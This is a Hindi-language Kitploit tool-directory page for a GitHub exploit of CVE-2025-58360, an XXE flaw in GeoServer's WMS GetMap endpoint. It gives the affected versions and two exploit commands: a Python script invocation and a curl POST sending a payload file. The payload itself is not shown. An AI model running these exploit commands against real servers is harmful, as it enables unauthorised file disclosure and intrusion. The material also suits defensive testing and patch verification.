Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-58360 — विशिष्ट एंडपॉइंट /geoserver/wms ऑपरेशन GetMap के माध्यम से XXE - Geoserver | Kitploit
उपकरण/GitHubGitHub/quyenheu/cve-2025-58360
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंग
GitHubquyenheu/cve-2025-58360

CVE-2025-58360

विशिष्ट एंडपॉइंट /geoserver/wms ऑपरेशन GetMap के माध्यम से XXE - Geoserver

रिपॉजिटरी देखें
639 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-58360

संस्करण 2.26.0 से 2.26.2 से पहले और 2.25.6 से पहले तक, एक XML External Entity (XXE) भेद्यता की पहचान की गई थी। एप्लिकेशन विशिष्ट एंडपॉइंट /geoserver/wms के GetMap ऑपरेशन के माध्यम से XML इनपुट स्वीकार करता है।

image

Exploit1:

root@kitploit:~
python3 CVE-2025-58360 -u http://example.com

Exploit2:

root@kitploit:~
curl -X POST "http://example.com/geoserver/wms?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90" -H "Content-Type: application/xml" --data-binary @payload.xml -o output.png
टूल डाउनलोड करें